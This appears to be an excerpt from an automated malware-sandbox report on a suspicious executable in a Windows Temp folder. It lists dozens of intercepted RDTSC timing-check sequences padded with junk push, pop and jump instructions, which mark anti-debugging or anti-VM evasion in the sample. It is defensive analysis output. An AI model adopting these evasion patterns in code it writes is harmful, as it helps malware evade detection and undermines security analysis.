Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E6C8 second address: 36E6E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7FDD3F1870h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E81D second address: 36E823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E823 second address: 36E829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E968 second address: 36E96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E96D second address: 36E98C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7FDD3F1866h 0x00000009 jnp 00007F7FDD3F1866h 0x0000000f jmp 00007F7FDD3F186Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E98C second address: 36E9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7FDCFD229Ah 0x0000000e pushad 0x0000000f jl 00007F7FDCFD2296h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36E9A8 second address: 36E9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F00A second address: 36F013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F305 second address: 36F309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F309 second address: 36F30F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F30F second address: 36F315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F315 second address: 36F31B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F31B second address: 36F325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7FDD3F1866h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F5B6 second address: 36F5BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F5BF second address: 36F5C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F5C5 second address: 36F5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F5CC second address: 36F5D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F5D1 second address: 36F5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36F8FD second address: 36F902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36FB86 second address: 36FB9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36FB9F second address: 36FBEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pushad 0x00000008 jmp 00007F7FDD3F1878h 0x0000000d jc 00007F7FDD3F1866h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F7FDD3F186Ah 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36FEA6 second address: 36FEB6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7FDCFD2296h 0x00000008 jng 00007F7FDCFD2296h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 36FEB6 second address: 36FEBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374F16 second address: 374F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A4h 0x00000007 jg 00007F7FDCFD2298h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F7FDCFD229Ah 0x00000017 pushad 0x00000018 jmp 00007F7FDCFD22A7h 0x0000001d pushad 0x0000001e popad 0x0000001f jl 00007F7FDCFD2296h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374F63 second address: 374F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3740F6 second address: 374102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37495C second address: 37496E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F186Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37496E second address: 374978 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7FDCFD2296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374ACF second address: 374AF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1878h 0x00000007 jc 00007F7FDD3F186Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374AF3 second address: 374B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F7FDCFD229Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374B0B second address: 374B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 je 00007F7FDD3F1866h 0x0000000c popad 0x0000000d pushad 0x0000000e jnl 00007F7FDD3F1866h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374B21 second address: 374B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F7FDCFD2296h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 374B2F second address: 374B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7FDD3F1866h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 379628 second address: 37962D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37962D second address: 37963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37963B second address: 37965B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7FDCFD22A6h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37965B second address: 379661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 379661 second address: 37966E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7FDCFD2296h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 37966E second address: 37967E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7FDD3F186Ah 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380101 second address: 380118 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F7FDCFD229Dh 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380118 second address: 38011C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3806A3 second address: 3806C7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7FDCFD2296h 0x00000008 jmp 00007F7FDCFD229Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F7FDCFD229Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3806C7 second address: 3806E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F1877h 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3806E8 second address: 3806ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 38097A second address: 38097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 38097E second address: 380984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380984 second address: 38098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380AE4 second address: 380AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380AE8 second address: 380AF2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7FDD3F1866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380C2F second address: 380C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380C35 second address: 380C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380C3B second address: 380C52 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7FDCFD2296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F7FDCFD2296h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380C52 second address: 380C70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F7FDD3F1875h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 380C70 second address: 380C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F7FDCFD22A9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 381655 second address: 38165F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7FDD3F1866h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 38165F second address: 381663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 381D9C second address: 381DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 381DA1 second address: 381DA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3898FB second address: 3898FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3898FF second address: 389908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39A37A second address: 39A37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39A37E second address: 39A39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F7FDCFD22A0h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39A53C second address: 39A540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DF02 second address: 39DF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DF06 second address: 39DF22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F7FDD3F186Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F7FDD3F1866h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DF22 second address: 39DF28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DC35 second address: 39DC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DC3B second address: 39DC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DC41 second address: 39DC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F7FDD3F186Ah 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 39DC53 second address: 39DC6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7FDCFD22A1h 0x00000008 pop esi 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3A6DA7 second address: 3A6DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3A6DAB second address: 3A6DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F7FDCFD2296h 0x0000000e jmp 00007F7FDCFD22A4h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3A6DCD second address: 3A6DD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3A6DD3 second address: 3A6DF4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7FDCFD229Ch 0x00000008 ja 00007F7FDCFD2296h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F7FDCFD2296h 0x00000016 jmp 00007F7FDCFD229Bh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3A6DF4 second address: 3A6E1C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7FDD3F1866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7FDD3F1870h 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3ADB74 second address: 3ADB7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3ADB7A second address: 3ADB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7FDD3F1866h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3ADB84 second address: 3ADB9D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7FDCFD2296h 0x00000008 js 00007F7FDCFD2296h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F7FDCFD2296h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3C6C second address: 3B3C76 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7FDD3F1866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3C76 second address: 3B3C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3DB8 second address: 3B3DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3DBE second address: 3B3DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD229Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3F21 second address: 3B3F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3F27 second address: 3B3F35 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7FDCFD2296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B3F35 second address: 3B3F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F1873h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B40A6 second address: 3B40DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7FDCFD22A5h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B40DA second address: 3B40F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F1877h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B40F7 second address: 3B40FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B4EE9 second address: 3B4EFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F7FDD3F1866h 0x00000008 jng 00007F7FDD3F1866h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B4EFF second address: 3B4F15 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jl 00007F7FDCFD22BFh 0x0000000d pushad 0x0000000e jp 00007F7FDCFD2296h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B4F15 second address: 3B4F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3B8B45 second address: 3B8B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
